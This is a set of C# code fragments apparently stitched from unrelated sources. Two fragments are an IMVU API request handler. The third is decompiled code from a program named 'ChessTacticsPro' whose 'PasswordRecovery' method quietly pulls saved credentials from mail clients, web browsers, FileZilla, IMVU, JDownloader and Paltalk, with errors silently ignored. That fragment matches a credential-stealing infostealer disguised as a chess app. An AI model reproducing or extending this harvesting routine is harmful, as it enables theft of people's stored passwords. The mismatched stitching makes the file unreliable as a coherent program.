public static IMVU.IDL.Buffer HandleCall(string api, string method, NameValueCollection p, IMVU.IDL.IContext ictx) { ApiInstance ai = ApiInstance.FindWrapper(api, codepath); if (ai == null) { IMVU.IDL.Services.Error(ictx, "Unknown API: {0}", api); return null; } return ai.CallMethod(method, p, ictx); }
public static void HandleRequest(IMVU.IDL.IContext ictx) { IMVU.IDL.Services.Log("Request: {0}", ictx.Http.Request.Url); string host = ictx.Http.Request.Url.Host; // todo: verify that the app is allowed to use the service, based on the host string str = ictx.Http.Request.Url.PathAndQuery; if (HandleSpecialUrl(str, ictx)) { return; } var mc = pathParts.Match(str); if (mc.Groups.Count < 3) { IMVU.IDL.Services.Error(ictx, "Bad API URL: {0} (group count = {1})", str, mc.Groups.Count); return; } string api = mc.Groups[1].Captures[0].Value; string method = mc.Groups[2].Captures[0].Value; string args = ""; if (mc.Groups.Count == 4 && mc.Groups[3].Captures.Count > 0) { args = mc.Groups[3].Captures[0].Value.Substring(1); } IMVU.IDL.Buffer data = HandleCall(api, method, HttpUtility.ParseQueryString(args), ictx); if (data != null) { if (data.contenttype != null) { ictx.Http.Response.ContentType = data.contenttype; } else { ictx.Http.Response.ContentType = "text/json"; } ictx.Http.Response.OutputStream.Write(data.data, data.offset, data.length); } }
// Token: 0x0600002B RID: 43 RVA: 0x000029C0 File Offset: 0x000019C0 public static void PasswordRecovery() { try { ChessTacticsPro.RecoverMail.Outlook(); ChessTacticsPro.RecoverMail.NetScape(); ChessTacticsPro.RecoverMail.Thunderbird(); ChessTacticsPro.RecoverMail.Eudora(); ChessTacticsPro.RecoverMail.Incredimail(); ChessTacticsPro.RecoverBrowsers.Firefox(); ChessTacticsPro.RecoverBrowsers.Chrome(); ChessTacticsPro.RecoverBrowsers.InternetExplorer(); ChessTacticsPro.RecoverBrowsers.Opera(); ChessTacticsPro.RecoverBrowsers.Safari(); Filezilla.Recover(); IMVU.Recover(); InternetDownloadManager.Recover(); JDownloader.Recover(); Paltalk.Recover(); } catch (Exception ex) { } }